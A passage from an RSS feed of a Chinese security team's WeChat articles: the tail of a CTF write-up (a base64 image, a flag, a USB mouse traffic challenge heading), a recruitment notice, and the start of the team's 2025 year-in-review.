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</span><br/><span leaf="">base64 的 png 图片：</span><br/><span leaf="">EH4X{baby_U4rt}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">painter</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Usb 鼠标流量分析：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030498" data-type="png" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-ratio="0.287962962962963" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e0daad2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2OibTt339fBujFzsVXmGOoAhiaJawECQwlpL114icaiaMW4y3GBK7ntVQ2LAj8rGfNYX2RibqOxvVicMqa23tgiah8gj3ibDEr1hC8pZsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;outline: 0px;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;outline: 0px;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;outline: 0px;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;outline: 0px;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;outline: 0px;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;outline: 0px;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;outline: 0px;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px -30px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;text-align: right;transform: translate3d(16px, 0px, 0px);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 0px 0px 10px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;display: inline-block;width: 315.719px;vertical-align: top;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: -10px 0px 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;text-align: center;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: 0px;vertical-align: middle;display: inline-block;"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 536.1 59.2" style="vertical-align: middle;" width="536.1" role="img" aria-label="插图"><g><polygon points="533.5,3 518.7,19.1 503.1,1 486.9,18.6 471.3,0.5 455.1,18.1 439.5,0 422,19.1 424.6,21.5 439.4,5.3 455,23.4    471.2,5.8 486.8,23.9 503,6.3 518.6,24.4 536.1,5.4" fill="#000000"></polygon><g><polygon points="89.5,28.7 82.5,39.3 96.5,39.3" fill="#000000"></polygon><polygon points="68.9,28.7 61.9,39.3 75.9,39.3" fill="#000000"></polygon><polygon points="48.2,28.7 41.3,39.3 55.2,39.3" fill="#000000"></polygon><polygon points="27.6,28.7 20.6,39.3 34.6,39.3" fill="#000000"></polygon><polygon points="7,28.7 0,39.3 14,39.3" fill="#000000"></polygon></g><g><rect x="144.2" y="36.9" width="328.3" height="3.6" fill="rgb(233, 194, 89)"></rect></g><g><rect x="41.3" y="55.6" width="448.1" height="3.6" fill="#000000"></rect></g></g></svg></p></div></div></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;outline: 0px;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;max-width: 100%;vertical-align: bottom;outline: 0px;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028091" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=4b6fd77d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D4"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dad5ff2a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514166%26idx%3D1%26sn%3Df232e675d210d33247ad1bbb9a4fe922">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 09 Mar 2026 08:08:00 +0800</pubDate>
    </item>
    <item>
      <title>2025年ChaMd5安全团队总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514142&amp;idx=1&amp;sn=dab194352f4ebe82c48765b1120b0f9f</link>
      <description>我们讲继续努力发展各个小组的优势，变的更强</description>
      <content:encoded><![CDATA[<p>原创 <span>M</span> <span>2026-02-12 08:01</span> <span style="display: inline-block;">吉林</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0f7612e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjvwqHfehg2OKBwGpr1cy65xfiaPnricSTJkjQN1ecsXqP5WoJFldCFdhrKh3B6rPaPI8PKPmwHFFM6iaaIHdkLTGibwacfib6kSua9bdWf2hlcfg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>我们讲继续努力发展各个小组的优势，变的更强</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0em;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0em;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px;padding: 0px 10px;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;color: rgb(0, 0, 0);line-height: 1.5em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">      2026年已然来临。实际上，我们团队早已是安全领域的老牌安全团队，无需过多展示过往成绩。毕竟，许多业界大佬已退居幕后或晋升至管理层，对他们而言，这些外在的彰显或许已不再重要。然而，仍有众多团队成员在为了特定的目标方向不懈拼搏。凭借他们的努力，团队每年都揽下不少项目。为了证明我们依旧活跃于行业之中，在此，还是向大家展示一下过去一年取得的成果。</span></span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">运营组（公众号）</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">       发布文章共计 67 篇，其中技术文章 47 篇，有一大部分文章是由 CTF 组的 WP 贡献，其中病毒分析15篇、AI研究方向2篇、IoT安全方向1篇、工控安全方向1篇，公众号文章来源于团队的大佬师傅们，感谢他们辛苦的付出，一直坚持给大家更新前言的技术文章，感谢投稿的师傅们，继续加油，下面展示热度</span><span leaf="" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-transform: none;word-spacing: 0em;-webkit-text-stroke-width: 0px;text-decoration: none;background: left top no-repeat rgba(0, 0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-break: break-word;overflow-wrap: break-word;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;">比极高的文章Top10</span><span leaf="" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-transform: none;word-spacing: 0em;-webkit-text-stroke-width: 0px;text-decoration: none;background: left top no-repeat rgba(0, 0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;word-break: break-word;overflow-wrap: break-word;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0em;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0em;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px;padding: 0px 10px;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;font-family: Optima, \&#34;Microsoft YaHei\&#34;, PingFangSC-regular, serif;color: rgb(0, 0, 0);line-height: 1.5em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;&#34;}]">。</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" 